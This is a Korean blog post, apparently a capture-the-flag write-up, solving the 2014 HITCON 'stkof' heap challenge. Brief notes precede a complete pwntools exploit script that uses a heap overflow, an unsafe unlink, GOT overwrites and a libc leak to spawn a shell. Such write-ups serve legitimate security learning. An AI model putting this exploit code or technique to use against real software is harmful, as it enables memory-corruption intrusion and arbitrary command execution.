2014 hitcon sktof
1번메뉴 size 자유 malloc
2번메뉴 무한 write
3번메뉴 index 거의 자유 free
이 문제는 unsafe_unlink로 풀긴 했지만 여러가지 방법으로 풀 수 있을 것 같다.
취약점들이 워낙 방대하기 때문에..
나는 먼저 unosrtedbin range heap A, B 2개를 선언한 후 A에서 overflow를 일으켜 fake chunk를 만들고 B의 prev_size, size를 조작해서 unsafe_unlink를 일으켰다.
그 후 free_got를 puts_got로 overwrite하여 libc leak, strlen_got를 system_libc로 overwrite하여 shell을 땃다.
근데 github에서 받았을 때 libc가 없었어서 이렇게 풀어도 되는지 모르겠다.. libc를 안쓰고 exploit하는 방법을 생각은 해봤지만 나한테는 아직 역부족인것 같다.
from pwn import *
#context.log_level = 'debug'
e = ELF('./stkof')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sl('1') # malloc
sl(str(0x80))
ru('OK\n')
sl('1') # malloc
sl(str(0x80))
ru('OK\n')
sl('2') # write
sl('1')
sl(str(0x4a0))
pay = p64(0) + p64(0x491)
pay += p64(0x602148 - 24) + p64(0x602148 - 16)
pay += '\x00'*0x470
pay += p64(0x490) + p64(0x90)
sl(pay)
sl('3') # free
sl('2')
ru('OK\n')
sl('1') # malloc
sl(str(0x100))
ru('OK\n')
sl('1') # malloc
sl(str(0x10))
ru('OK\n')
sl('3') # free
sl('3')
ru('OK\n')
sl('1') # malloc
sl(str(0x100))
ru('OK\n')
sl('2') # bss write
sl('1')
sl(str(0x28))
pay = '\x00'*0x18
pay += p64(e.got['strlen']) + p64(e.got['free'])
sl(pay)
sl('2') # free_got overwrite
sl('2')
sl(str(0x8))
sl(p64(e.plt['puts']))
sl('3') # main_arena+88 leak
sl('5')
ru('FAIL\n')
ru('FAIL\n')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x3c4b78
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
sl('2') # strlen_got overwrite
sl('1')
sl(str(0x8))
sl(p64(system))
sl('1') # malloc
sl(str(0x10))
ru('OK\n')
sl('2') # write /bin/sh
sl('6')
sl(str(0x8))
sl('/bin/sh\00')
sl('4') # shell!
sl('6')
io()
'system > writeup' 카테고리의 다른 글
nullcon hackim 2019 hackim shop (2) | 2019.02.03 |
---|---|
2016 bctf memo (0) | 2019.02.02 |
pwnable.kr crypto1 (0) | 2019.02.01 |
2017 rctf aircraft (0) | 2019.01.30 |
2019 codegate aeiou (0) | 2019.01.29 |